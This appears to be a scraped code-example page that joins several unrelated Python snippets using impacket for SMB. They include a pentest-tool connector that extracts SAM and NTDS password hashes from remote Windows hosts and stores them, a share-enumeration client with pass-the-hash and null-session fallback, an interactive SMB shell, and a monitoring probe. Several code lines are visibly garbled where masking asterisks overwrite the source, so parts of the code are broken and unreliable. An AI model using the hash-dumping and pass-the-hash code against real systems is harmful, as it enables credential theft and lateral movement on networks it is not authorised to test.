
                self.logger.success([
                    self.host, self.ip, "NTDS",
                    '{} NTLM hashes and {} clear text passwords collected'.
                    format(add_ntds_hash.ntds_hashes, add_ntds_hash.clear_text)
                ])
                self.logger.success([
                    self.host, self.ip, "NTDS",
                    '{} creds added to the database'.format(
                        add_ntds_hash.added_to_db)
                ])
                self.logger.info([
                    self.host, self.ip, "NTDS",
                    'Hash files located at: {}'.format(outfile)
                ])

            else:
                raise Exception("RemoteOps and BootKey not initiated")
        except Exception as e:
            self.logger.fail('NTDS Extraction Failed for {}: {}'.format(
                self.host, str(e)))

        try:
            self.remote_ops.finish()
            NTDS.finish()
        except Exception as e:
            self.logger.debug(
                ["NTDS", "Error calling remote_ops.finish(): {}".format(e)])

    ################################
    # File Interaction
    ################################
    def createFile(self, filename, data, share='C$'):
        # Create new file & write data, Not In Use
        f = remotefile.RemoteFile(self.con, filename, share)
        f.create()
        f.write(data)
        f.close()

    def uploadFile(self, local_file, location, share='C$'):
        f = open(local_file)
        self.con.putFile(share, location, f.read)
        f.close()

    def downloadFile(self, remote_file, location='ar3_download', share='C$'):
        f = open(location, 'wb')
        self.con.getFile(share, remote_file, f.write)
        f.close()
        return

    def deleteFile(self, remote_file, share='C$'):
        self.con.deleteFile(share, remote_file)
Ejemplo n.º 6
0
class SMBClient:
    '''
    Wrapper around impacket's SMBConnection() object
    '''

    def __init__(self, server, username, password, domain, nthash):

        self.server = server

        self.conn = None

        self.username = username
        self.password = password
        self.domain = domain
        self.nthash = nthash
        if self.nthash:
            self.lmhash = 'aad3b435b51404eeaad3b435b51404ee'
        else:
            self.lmhash = ''


    @property
    def shares(self):

        try:
            resp = self.conn.listShares()
            for i in range(len(resp)):
                sharename = resp[i]['shi1_netname'][:-1]
                log.debug(f'{self.server}: Found share: {sharename}')
                yield sharename
            
        except Exception as e:
            e = handle_impacket_error(e, self)
            log.warning(f'{self.server}: Error listing shares: {e}')
            


    def login(self, refresh=False, first_try=True):
        '''
        Create a new SMBConnection object (if there isn't one already or if refresh is True)
        Attempt to log in, and switch to null session if logon fails
        Return True if logon succeeded
        Return False if logon failed
        '''

        if self.conn is None or refresh:
            try:
                self.conn = SMBConnection(self.server, self.server, sess_port=445, timeout=20)
            except Exception as e:
                log.debug(impacket_error(e))
                return None

            try:

                if self.username in [None, '', 'Guest'] and first_try:
                    # skip to guest / null session
                    assert False

                log.debug(f'{self.server}: Authenticating as "{self.domain}\\{self.username}"')

                # pass the hash if requested
                if self.nthash and not self.password:
                    self.conn.login(
                        self.username,
                        '',
                        lmhash=self.lmhash,
                        nthash=self.nthash,
                        domain=self.domain,
                    )
                # otherwise, normal login
                else:
                    self.conn.login(
                        self.username,
                        self.password,
                        domain=self.domain,
                    )

                log.info(f'{self.server}: Successful login as "{self.username}"')
                return True

            except Exception as e:

                if type(e) != AssertionError:
                    e = handle_impacket_error(e, self, display=True)

                # try guest account, then null session if logon failed
                if first_try:

                    bad_statuses = ['LOGON_FAIL', 'PASSWORD_EXPIRED', 'LOCKED_OUT', 'SESSION_DELETED']
                    if any([s in str(e) for s in bad_statuses]):
                        for s in bad_statuses:
                            if s in str(e):
                                log.warning(f'{self.server}: {s}: {self.username}')

                    log.debug(f'{self.server}: Trying guest session')
                    self.username = '******'
                    self.password = ''
                    self.domain = ''
                    self.nthash = ''
                    guest_success = self.login(refresh=True, first_try=False)
                    if not guest_success:
                        log.debug(f'{self.server}: Switching to null session')
                        self.username = ''
                        self.login(refresh=True, first_try=False)

            return False

        else:
            return True


    def ls(self, share, path):
        '''
        List files in share/path
        Raise FileListError if there's a problem
        @byt3bl33d3r it's really not that bad
        '''

        nt_path = ntpath.normpath(f'{path}\\*')

        # for every file/dir in "path"
        try:
            for f in self.conn.listPath(share, nt_path):
                # exclude current and parent directory
                if f.get_longname() not in ['', '.', '..']:
                    yield f
        except Exception as e:
            e = handle_impacket_error(e, self)
            raise FileListError(f'{e.args}: Error listing files at "{share}{nt_path}"')



    def rebuild(self, error=''):
        '''
        Rebuild our SMBConnection() if it gets borked
        '''

        log.debug(f'Rebuilding connection to {self.server} after error: {error}')
        self.login(refresh=True)
Ejemplo n.º 7
0
class MiniImpacketShell(cmd.Cmd):
    def __init__(self, smbClient, tcpShell=None):
        #If the tcpShell parameter is passed (used in ntlmrelayx),
        # all input and output is redirected to a tcp socket
        # instead of to stdin / stdout
        if tcpShell is not None:
            cmd.Cmd.__init__(self, stdin=tcpShell.stdin, stdout=tcpShell.stdout)
            sys.stdout = tcpShell.stdout
            sys.stdin = tcpShell.stdin
            sys.stderr = tcpShell.stdout
            self.use_rawinput = False
            self.shell = tcpShell
        else:
            cmd.Cmd.__init__(self)
            self.shell = None

        self.prompt = '# '
        self.smb = smbClient
        self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = smbClient.getCredentials()
        self.tid = None
        self.intro = 'Type help for list of commands'
        self.pwd = ''
        self.share = None
        self.loggedIn = True
        self.last_output = None
        self.completion = []

    def emptyline(self):
        pass

    def precmd(self, line):
        # switch to unicode
        return line

    def onecmd(self,s):
        retVal = False
        try:
           retVal = cmd.Cmd.onecmd(self,s)
        except Exception as e:
           LOG.error(e)
           LOG.debug('Exception info', exc_info=True)

        return retVal

    def do_exit(self,line):
        if self.shell is not None:
            self.shell.close()
        return True

    def do_shell(self, line):
        output = os.popen(line).read()
        print(output)
        self.last_output = output

    def do_help(self,line):
        print("""
 open {host,port=445} - opens a SMB connection against the target host/port
 login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted
 kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name
 login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes
 logoff - logs off
 shares - list available shares
 use {sharename} - connect to an specific share
 cd {path} - changes the current directory to {path}
 lcd {path} - changes the current local directory to {path}
 pwd - shows current remote directory
 password - changes the user password, the new password will be prompted for input
 ls {wildcard} - lists all the files in the current directory
 rm {file} - removes the selected file
 mkdir {dirname} - creates the directory under the current path
 rmdir {dirname} - removes the directory under the current path
 put {filename} - uploads the filename into the current path
 get {filename} - downloads the filename from the current path
 mget {mask} - downloads all files from the current directory matching the provided mask
 cat {filename} - reads the filename from the current path
 mount {target,path} - creates a mount point from {path} to {target} (admin required)
 umount {path} - removes the mount point at {path} without deleting the directory (admin required)
 list_snapshots {path} - lists the vss snapshots for the specified path
 info - returns NetrServerInfo main results
 who - returns the sessions currently connected at the target host (admin required)
 close - closes the current SMB Session
 exit - terminates the server process (and this session)

""")

    def do_password(self, line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        from getpass import getpass
        newPassword = getpass("New Password:"******"SMBv1 dialect used")
        elif dialect == SMB2_DIALECT_002:
            LOG.info("SMBv2.0 dialect used")
        elif dialect == SMB2_DIALECT_21:
            LOG.info("SMBv2.1 dialect used")
        else:
            LOG.info("SMBv3.0 dialect used")

        self.share = None
        self.tid = None
        self.pwd = ''
        self.loggedIn = False
        self.password = None
        self.lmhash = None
        self.nthash = None
        self.username = None

    def do_login(self,line):
        if self.smb is None:
            LOG.error("No connection open")
            return
        l = line.split(' ')
        username = ''
        password = ''
        domain = ''
        if len(l) > 0:
           username = l[0]
        if len(l) > 1:
           password = l[1]

        if username.find('/') > 0:
           domain, username = username.split('/')

        if password == '' and username != '':
            from getpass import getpass
            password = getpass("Password:"******"GUEST Session Granted")
        else:
            LOG.info("USER Session Granted")
        self.loggedIn = True

    def do_kerberos_login(self,line):
        if self.smb is None:
            LOG.error("No connection open")
            return
        l = line.split(' ')
        username = ''
        password = ''
        domain = ''
        if len(l) > 0:
           username = l[0]
        if len(l) > 1:
           password = l[1]

        if username.find('/') > 0:
           domain, username = username.split('/')

        if domain == '':
            LOG.error("Domain must be specified for Kerberos login")
            return

        if password == '' and username != '':
            from getpass import getpass
            password = getpass("Password:"******"GUEST Session Granted")
        else:
            LOG.info("USER Session Granted")
        self.loggedIn = True

    def do_login_hash(self,line):
        if self.smb is None:
            LOG.error("No connection open")
            return
        l = line.split(' ')
        domain = ''
        if len(l) > 0:
           username = l[0]
        if len(l) > 1:
           hashes = l[1]
        else:
           LOG.error("Hashes needed. Format is lmhash:nthash")
           return

        if username.find('/') > 0:
           domain, username = username.split('/')

        lmhash, nthash = hashes.split(':')

        self.smb.login(username, '', domain,lmhash=lmhash, nthash=nthash)
        self.username = username
        self.lmhash = lmhash
        self.nthash = nthash

        if self.smb.isGuestSession() > 0:
            LOG.info("GUEST Session Granted")
        else:
            LOG.info("USER Session Granted")
        self.loggedIn = True

    def do_logoff(self, line):
        if self.smb is None:
            LOG.error("No connection open")
            return
        self.smb.logoff()
        del self.smb
        self.share = None
        self.smb = None
        self.tid = None
        self.pwd = ''
        self.loggedIn = False
        self.password = None
        self.lmhash = None
        self.nthash = None
        self.username = None

    def do_info(self, line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrServerGetInfo(dce, 102)

        print("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major'])
        print("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor'])
        print("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'])
        print("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment'])
        print("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath'])
        print("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users'])

    def do_who(self, line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)

        for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:
            print("host: %15s, user: %5s, active: %5d, idle: %5d" % (
            session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'],
            session['sesi10_idle_time']))

    def do_shares(self, line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        resp = self.smb.listShares()
        for i in range(len(resp)):
            print(resp[i]['shi1_netname'][:-1])

    def do_use(self,line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        self.share = line
        self.tid = self.smb.connectTree(line)
        self.pwd = '\\'
        self.do_ls('', False)

    def complete_cd(self, text, line, begidx, endidx):
        return self.complete_get(text, line, begidx, endidx, include = 2)

    def do_cd(self, line):
        if self.tid is None:
            LOG.error("No share selected")
            return
        p = line.replace('/','\\')
        oldpwd = self.pwd
        if p[0] == '\\':
           self.pwd = line
        else:
           self.pwd = ntpath.join(self.pwd, line)
        self.pwd = ntpath.normpath(self.pwd)
        # Let's try to open the directory to see if it's valid
        try:
            fid = self.smb.openFile(self.tid, self.pwd, creationOption = FILE_DIRECTORY_FILE, desiredAccess = FILE_READ_DATA |
                                   FILE_LIST_DIRECTORY, shareMode = FILE_SHARE_READ | FILE_SHARE_WRITE )
            self.smb.closeFile(self.tid,fid)
        except SessionError:
            self.pwd = oldpwd
            raise

    def do_lcd(self, s):
        print(s)
        if s == '':
           print(os.getcwd())
        else:
           os.chdir(s)

    def do_pwd(self,line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        print(self.pwd)

    def do_ls(self, wildcard, display = True):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        if self.tid is None:
            LOG.error("No share selected")
            return
        if wildcard == '':
           pwd = ntpath.join(self.pwd,'*')
        else:
           pwd = ntpath.join(self.pwd, wildcard)
        self.completion = []
        pwd = pwd.replace('/','\\')
        pwd = ntpath.normpath(pwd)
        for f in self.smb.listPath(self.share, pwd):
            if display is True:
                print("%crw-rw-rw- %10d  %s %s" % (
                'd' if f.is_directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())),
                f.get_longname()))
            self.completion.append((f.get_longname(), f.is_directory()))


    def do_rm(self, filename):
        if self.tid is None:
            LOG.error("No share selected")
            return
        f = ntpath.join(self.pwd, filename)
        file = f.replace('/','\\')
        self.smb.deleteFile(self.share, file)

    def do_mkdir(self, path):
        if self.tid is None:
            LOG.error("No share selected")
            return
        p = ntpath.join(self.pwd, path)
        pathname = p.replace('/','\\')
        self.smb.createDirectory(self.share,pathname)

    def do_rmdir(self, path):
        if self.tid is None:
            LOG.error("No share selected")
            return
        p = ntpath.join(self.pwd, path)
        pathname = p.replace('/','\\')
        self.smb.deleteDirectory(self.share, pathname)

    def do_put(self, pathname):
        if self.tid is None:
            LOG.error("No share selected")
            return
        src_path = pathname
        dst_name = os.path.basename(src_path)

        fh = open(pathname, 'rb')
        f = ntpath.join(self.pwd,dst_name)
        finalpath = f.replace('/','\\')
        self.smb.putFile(self.share, finalpath, fh.read)
        fh.close()

    def complete_get(self, text, line, begidx, endidx, include = 1):
        # include means
        # 1 just files
        # 2 just directories
        p = line.replace('/','\\')
        if p.find('\\') < 0:
            items = []
            if include == 1:
                mask = 0
            else:
                mask = 0x010
            for i in self.completion:
                if i[1] == mask:
                    items.append(i[0])
            if text:
                return  [
                    item for item in items
                    if item.upper().startswith(text.upper())
                ]
            else:
                return items

    def do_mget(self, mask):
        if mask == '':
            LOG.error("A mask must be provided")
            return
        if self.tid is None:
            LOG.error("No share selected")
            return
        self.do_ls(mask,display=False)
        if len(self.completion) == 0:
            LOG.error("No files found matching the provided mask")
            return
        for file_tuple in self.completion:
            if file_tuple[1] == 0:
                filename = file_tuple[0]
                filename = filename.replace('/', '\\')
                fh = open(ntpath.basename(filename), 'wb')
                pathname = ntpath.join(self.pwd, filename)
                try:
                    LOG.info("Downloading %s" % (filename))
                    self.smb.getFile(self.share, pathname, fh.write)
                except:
                    fh.close()
                    os.remove(filename)
                    raise
                fh.close()

    def do_get(self, filename):
        if self.tid is None:
            LOG.error("No share selected")
            return
        filename = filename.replace('/','\\')
        fh = open(ntpath.basename(filename),'wb')
        pathname = ntpath.join(self.pwd,filename)
        try:
            self.smb.getFile(self.share, pathname, fh.write)
        except:
            fh.close()
            os.remove(filename)
            raise
        fh.close()

    def do_cat(self, filename):
        if self.tid is None:
            LOG.error("No share selected")
            return
        filename = filename.replace('/','\\')
        fh = BytesIO()
        pathname = ntpath.join(self.pwd,filename)
        try:
            self.smb.getFile(self.share, pathname, fh.write)
        except:
            raise
        output = fh.getvalue()
        encoding = ""  # chardet.detect(output)["encoding"]
        error_msg = "[-] Output cannot be correctly decoded, are you sure the text is readable ?"
        if encoding:
            try:
                print(output.decode(encoding))
            except:
                print(error_msg)
            finally:
                fh.close()
        else:
            print(error_msg)
            fh.close()

    def do_close(self, line):
        self.do_logoff(line)

    def do_list_snapshots(self, line):
        l = line.split(' ')
        if len(l) > 0:
            pathName= l[0].replace('/','\\')

        # Relative or absolute path?
        if pathName.startswith('\\') is not True:
            pathName = ntpath.join(self.pwd, pathName)

        snapshotList = self.smb.listSnapshots(self.tid, pathName)

        if not snapshotList:
            print("No snapshots found")
            return

        for timestamp in snapshotList:
            print(timestamp)

    def do_mount(self, line):
        l = line.split(' ')
        if len(l) > 1:
            target  = l[0].replace('/','\\')
            pathName= l[1].replace('/','\\')

        # Relative or absolute path?
        if pathName.startswith('\\') is not True:
            pathName = ntpath.join(self.pwd, pathName)

        self.smb.createMountPoint(self.tid, pathName, target)

    def do_umount(self, mountpoint):
        mountpoint = mountpoint.replace('/','\\')

        # Relative or absolute path?
        if mountpoint.startswith('\\') is not True:
            mountpoint = ntpath.join(self.pwd, mountpoint)

        mountPath = ntpath.join(self.pwd, mountpoint)

        self.smb.removeMountPoint(self.tid, mountPath)

    def do_EOF(self, line):
        print('Bye!\n')
        return True
Ejemplo n.º 8
0
class SmbCon(Connector):
    def __init__(self, args, loggers, host, db):
        Connector.__init__(self, args, loggers, host)
        self.auth = False
        self.con = False
        self.client = ''.join(
            [choice(ascii_letters + digits) for x in range(7)])
        self.smbv1 = False
        self.os = ''
        self.admin = False
        self.signing = False
        self.os_arch = '0'
        self.remote_ops = None
        self.bootkey = None

        self.db = db
        self.port = 445

    #########################
    # Session Management
    #########################
    def create_smb_con(self):
        # Create SMB Con
        if self.smb_connection():
            self.host_info()
            try:
                # SMB Auth
                self.con.login(self.username,
                               self.password,
                               self.domain,
                               lmhash=self.lmhash,
                               nthash=self.nthash)
                self.auth = True
                self.host_info()
                self.isAdmin()
                self.update_db()
            except Exception as e:
                raise Exception(str(e))
        else:
            raise Exception('Connection to Server Failed')

    def update_db(self):
        self.db.update_host(self.host, self.ip, self.domain, self.os,
                            self.signing)
        if self.username and self.password or self.username and self.hash:
            self.db.update_user(self.username, self.password, self.domain,
                                self.hash)
            if self.admin:
                self.db.update_admin(self.username, self.domain, self.host)

    def logoff(self):
        self.con.logoff()

    def close(self):
        try:
            self.con.logoff()
        except:
            pass

        try:
            self.con.close()
        except:
            pass

    #########################
    # SMB Connection
    #########################
    def smb_connection(self):
        if self.smbv1_con():
            return True
        elif self.smbv3_con():
            return True
        return False

    def smbv1_con(self):
        try:
            self.con = SMBConnection(self.client,
                                     self.host,
                                     sess_port=self.port,
                                     preferredDialect=SMB_DIALECT,
                                     timeout=int(self.timeout))
            self.smbv1 = True
            self.con.setTimeout(self.timeout)
            return True
        except Exception as e:
            return False

    def smbv3_con(self):
        try:
            self.con = SMBConnection(self.client,
                                     self.host,
                                     sess_port=self.port,
                                     timeout=int(self.timeout))
            self.con.setTimeout(self.timeout)
            return True
        except Exception as e:
            return False

    #########################
    # Authentication (NOT IN USE)
    #########################
    def set_host(self, local_auth):
        # Get domain for authentication purposes
        if local_auth:
            self.domain = self.con.getServerName(
            ) + "." + self.con.getServerDNSDomainName()
        else:
            self.domain = self.con.getServerDNSDomainName()
        # Backup for Linux/Unix systems
        if not self.domain:
            self.domain = self.con.getServerName(
            ) + "." + self.con.getServerDNSDomainName()

    ################################
    # Enumerate Host information
    ################################
    def host_info(self):
        try:
            self.srvdomain = self.get_domain()
            self.host = self.get_hostname()
            self.os = self.con.getServerOS()
            self.signing = self.con.isSigningRequired()

            arch = self.get_os_arch()
            if arch == 32 or arch == 64:
                self.os_arch = " x{}".format(str(arch))
            else:
                self.os_arch = ''
        except Exception as e:
            self.logger.debug("SMB Host Info: {}".format(str(e)))

    def get_os_arch(self):
        # Credit: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py
        # Credit: https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_19/examples/getArch.py
        try:
            stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
            transport = DCERPCTransportFactory(stringBinding)
            transport.set_connect_timeout(5)
            dce = transport.get_dce_rpc()
            dce.connect()
            try:
                dce.bind(
                    MSRPC_UUID_PORTMAP,
                    transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36',
                                     '1.0'))
            except DCERPCException as e:
                if str(e).find('syntaxes_not_supported') >= 0:
                    dce.disconnect()
                    return 32
            else:
                dce.disconnect()
                return 64
        except:
            return 0

    def get_hostname(self):
        if self.con.getServerDNSDomainName() and not self.local_auth:
            if self.con.getServerName().lower(
            ) != self.con.getServerDNSDomainName().lower():
                return (self.con.getServerName() + "." +
                        self.con.getServerDNSDomainName())
            else:
                return self.con.getServerName()
        else:
            return self.con.getServerName()

    def get_domain(self):
        try:
            return self.con.getServerDomain()
        except:
            return self.getServerName()

    def list_shares(self):
        # name=share['shi1_netname'][:-1], description=share['shi1_remark']
        return self.con.listShares()

    ################################
    # Host/Domain Password Policy
    ################################
    def password_policy(self):
        SAMRDump(self).dump(self.host)

    ################################
    # List Shares & Check Share Permissions
    ################################
    def read_perm(self, share):
        try:
            # Silently list path to check access
            self.list_path(share, False)
            return True
        except:
            return False

    def write_perm(self, share):
        try:
            # Create dir to check write access
            tmp = '.' + ''.join(
                [choice(ascii_letters + digits) for x in range(5)])
            self.con.createDirectory(share, tmp)
            self.con.deleteDirectory(share, tmp)
            return True
        except Exception as e:
            return False

    def list_path(self, share, path):
        if not path:
            path = '/*'
        return self.con.listPath(share, path)

    ################################
    # Check if User Admin
    ################################
    def isAdmin(self):
        rpctransport = SMBTransport(self.host,
                                    self.port,
                                    r'\svcctl',
                                    smb_connection=self.con)
        dce = rpctransport.get_dce_rpc()
        try:
            dce.connect()
        except:
            pass
        else:
            dce.bind(scmr.MSRPC_UUID_SCMR)
            try:
                # 0xF003F - SC_MANAGER_ALL_ACCESS
                # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
                ans = scmr.hROpenSCManagerW(dce, '{}\x00'.format(self.host),
                                            'ServicesActive\x00', 0xF003F)
                self.admin = True
                return True
            except scmr.DCERPCException as e:
                pass
        return False

    ################################
    # Dump SAM / LSA
    ################################
    def enable_remoteops(self):
        # Source: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py
        if self.remote_ops is not None and self.bootkey is not None:
            return
        try:
            self.remote_ops = RemoteOperations(self.con, False, None)
            self.remote_ops.enableRegistry()
            self.bootkey = self.remote_ops.getBootKey()
        except Exception as e:
            self.logger.fail('RemoteOperations failed for {}: {}'.format(
                self.host, str(e)))

    def sam(self):
        try:
            self.enable_remoteops()

            def add_sam_hash(sam_hash, host_id):
                self.logger.success(
                    [self.host, highlight("SAM HASH"), sam_hash])
                username, _, lmhash, nthash, _, _, _ = sam_hash.split(':')
                self.db.update_user(username, '', host_id,
                                    "{}:{}".format(lmhash, nthash))

            if self.remote_ops and self.bootkey:
                SAMFileName = self.remote_ops.saveSAM()
                SAM = SAMHashes(SAMFileName,
                                self.bootkey,
                                isRemote=True,
                                perSecretCallback=lambda secret: add_sam_hash(
                                    secret, self.host))
                SAM.dump()

        except Exception as e:
            self.logger.fail('SAM Extraction Failed for {}: {}'.format(
                self.host, str(e)))
            try:
                self.remote_ops.finish()
            except Exception as e:
                self.logger.debug(
                    "Error calling remote_ops.finish() for {}: {}".format(
                        self.host, str(e)))
        SAM.finish()

    ################################
    # File Interaction
    ################################
    def createFile(self, filename, data, share='C$'):
        # Create new file & write data, Not In Use
        f = remotefile.RemoteFile(self.con, filename, share)
        f.create()
        f.write(data)
        f.close()

    def uploadFile(self, local_file, location, share='C$'):
        f = open(local_file)
        self.con.putFile(share, location, f.read)
        f.close()

    def downloadFile(self, remote_file, location='ar3_download', share='C$'):
        f = open(location, 'wb')
        self.con.getFile(share, remote_file, f.write)
        f.close()
        return

    def deleteFile(self, remote_file, share='C$'):
        self.con.deleteFile(share, remote_file)
Ejemplo n.º 9
0
class probe_smb(probemain):
    """ SMB probe
    """

    # -----------------------------------------
    def __init__(self):
        """constructor

        """
        probemain.__init__(self, "SMB")

        self.smbClient = None

        self.aShares = None
        self.dceInfo = None
        self.domain = None
        self.ip = None
        self.password = None
        self.port = None
        self.pwd = None
        self.server = None
        self.share = None
        self.tid = None
        self.username = None
        self.bConnected = None
        self.bGuestConnected = None

        self.__clean()

        self.checkNet()
        self.getConfig("smb", self.job_smb)
        self.mainLoop()

    # -----------------------------------------
    def __clean(self):
        """clean all variables"""
        self.bConnected = False
        self.bGuestConnected = True

        self.dceInfo = {}
        self.aShares = []
        self.tid = None
        self.pwd = '\\'
        self.share = ''

    # -----------------------------------------
    def getConfig(self, name, f, testf=None):
        """get the configuration from the database

        """
        jobs = super(probe_smb, self).getConfig(name, f, self.f_testOK)
        for j in jobs:
            logging.info("add job to scheduler every {} sec".format(j['freq']))

    # --------------------------------------------------
    def connect(self):
        """connect to the server
        """
        try: 
            self.smbClient = SMBConnection(self.server, self.ip, sess_port=self.port)
            self.smbClient.login(self.username, self.password, self.domain, '', '')

        except Exception as e:
            logging.error(str(e))
            self.bConnected = False
            return False

        self.bConnected = True

        self.bGuestConnected = (self.smbClient.isGuestSession() > 0)

        return True

    # --------------------------------------------------
    def isUserLogged(self):
        """is the connection guest
        """
    
        return self.bGuestConnected

    # --------------------------------------------------
    def getDCEInfo(self):
        """information on the DCE/RPC connection
        """
        if self.bConnected is False:
            return

        rpctransport = transport.SMBTransport(self.smbClient.getRemoteHost(), 
                                              filename=r'\srvsvc',
                                              smb_connection=self.smbClient)
        dce = rpctransport.get_dce_rpc()
        dce.connect()                     
        dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrServerGetInfo(dce, 102)
        
        r = {
            "platform_id": resp['InfoStruct']['ServerInfo102']['sv102_platform_id'],
            "name": str(resp['InfoStruct']['ServerInfo102']['sv102_name'].replace('\x00', '')),
            "major": resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
            "minor": resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
            "type": resp['InfoStruct']['ServerInfo102']['sv102_type'],
            "comment": str(resp['InfoStruct']['ServerInfo102']['sv102_comment'].replace('\x00', '')),
            "simultaneous_users": resp['InfoStruct']['ServerInfo102']['sv102_users'],
            "disc": resp['InfoStruct']['ServerInfo102']['sv102_disc'],
            "hidden": resp['InfoStruct']['ServerInfo102']['sv102_hidden'],
            "announce": resp['InfoStruct']['ServerInfo102']['sv102_announce'],
            "anndelta": resp['InfoStruct']['ServerInfo102']['sv102_anndelta'],
            "licenses": resp['InfoStruct']['ServerInfo102']['sv102_licenses'],
            "user_path": str(resp['InfoStruct']['ServerInfo102']['sv102_userpath'].replace('\x00', ''))
        }

        self.dceInfo = r

        del rpctransport
        del dce
        del resp

        return r

    # --------------------------------------------------
    def getWho(self):
        """who is connected -> error
        """

        try:
            rpctransport = transport.SMBTransport(self.smbClient.getRemoteHost(), 
                                                  filename=r'\srvsvc', 
                                                  smb_connection=self.smbClient)
            dce = rpctransport.get_dce_rpc()
            dce.connect()                     
            dce.bind(srvs.MSRPC_UUID_SRVS)
            resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)

        except Exception as e:
            logging.error("getWho: {}".format(str(e)))
            return

        for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:
            print("host: %15s, user: %5s, active: %5d, idle: %5d" % (
                session['sesi10_cname'][:-1],
                session['sesi10_username'][:-1], 
                session['sesi10_time'],
                session['sesi10_idle_time']))

    # --------------------------------------------------
    def getShares(self):
        """get shares available on the server
        """
        if self.bConnected is False:
            logging.error("No connection open")
            return

        r = []
        resp = self.smbClient.listShares()
        for respi in resp:
            r.append(respi['shi1_netname'][:-1])

        self.aShares = r

        return r

    # --------------------------------------------------
    def getShare(self, regexp=".*"):
        """get shares available on the server

        """

        if self.bConnected is False:
            logging.error("No connection open")
            return

        resp = self.smbClient.listShares()
        for i, _ in enumerate(resp):
            netname = resp[i]['shi1_netname'][:-1]

            _r = re.match(regexp, netname)
            if _r != None:
                return {
                    "netname": netname,
                    "type": resp[i]['shi1_type'],
                    "remark": resp[i]['shi1_remark'][:-1]
                }

        return False

    # --------------------------------------------------
    def useShare(self, share):
        """use a share
        """
        if self.bConnected is False:
            logging.error("No connection open")
            return False

        if not self.aShares:
            self.getShares()

        if share not in self.aShares:
            logging.error("useShare : share {} not available on server".format(share))
            return False

        try:
            self.tid = self.smbClient.connectTree(share)
        except Exception as e:
            logging.error("useShare: {}".format(str(e)))
            return False

        logging.debug("connected on share {}".format(share))
        self.share = share

    # --------------------------------------------------
    def cd(self, _dir):
        """change directory on the share
        """
        if self.bConnected is False:
            logging.error("No connection open")
            return

        if self.tid is None:
            logging.error("not on a share")
            return

        pwd = ntpath.normpath(string.replace(_dir, '/', '\\'))
        logging.debug("cd to normalize path {}".format(pwd))

        # Let's try to open the directory to see if it's valid
        try:
            fid = self.smbClient.openFile(self.tid, pwd, 
                                          creationOption=FILE_DIRECTORY_FILE,
                                          desiredAccess=FILE_READ_DATA | FILE_LIST_DIRECTORY,
                                          shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE)

            self.smbClient.closeFile(self.tid, fid)
        except Exception as e:
            logging.error("cd: {}".format(str(e)))
            return False

        logging.debug("success cd to {}".format(_dir))
        self.pwd = pwd
        return True

    # --------------------------------------------------
    def lsFiles(self, _filter='*'):
        """list files in the directory
        """
        if self.bConnected is False:
            logging.error("No connection open")
            return False

        if self.share == '':
            logging.error("No share selected, see useShare()")
            return False

        if self.tid is None:
            logging.error("not on a share")
            return False

        logging.debug("ls on share {} in {}".format(self.share, self.pwd))

        pwd = ntpath.join(self.pwd, _filter)

        r = []

        try:
            for f in self.smbClient.listPath(self.share, pwd):
                if f.is_directory() == 0:
                    r.append({
                        "mtime": f.get_mtime_epoch(),
                        "ctime": f.get_ctime_epoch(),
                        "atime": f.get_atime_epoch(),
                        "size": f.get_filesize(),
                        "name": str(f.get_longname())
                    })
        except Exception as ex:
            logging.error("file list: {}".format(str(ex)))

        return r

    # --------------------------------------------------
    def logoff(self):
        """get off the server
        """

        if self.smbClient is None or self.bConnected is False:
            logging.error("No connection open")
        else:
            self.smbClient.logoff()
            del self.smbClient

        self.__clean()

    # --------------------------------------------------
    def __str__(self): 
        """for print
        """
        import pprint

        s = "smb client object:\n"

        s += " configuration:\n"
        s += "  domain/user:pwd: {}/{}:{}\n".format(self.domain, self.username, self.password)
        s += "  server/ip:port: {}/{}:{}\n".format(self.server, self.ip, self.port)
        
        s += "\n status:\n"
        if self.bConnected:
            if self.bGuestConnected:
                s += "  guest connected\n"
            else:
                s += "  user connected\n"
        else:
            s += "  not connected\n"

        if self.dceInfo.__contains__('licenses'):
            s += "\n DCE Info: {}\n".format(pprint.pformat(self.dceInfo))

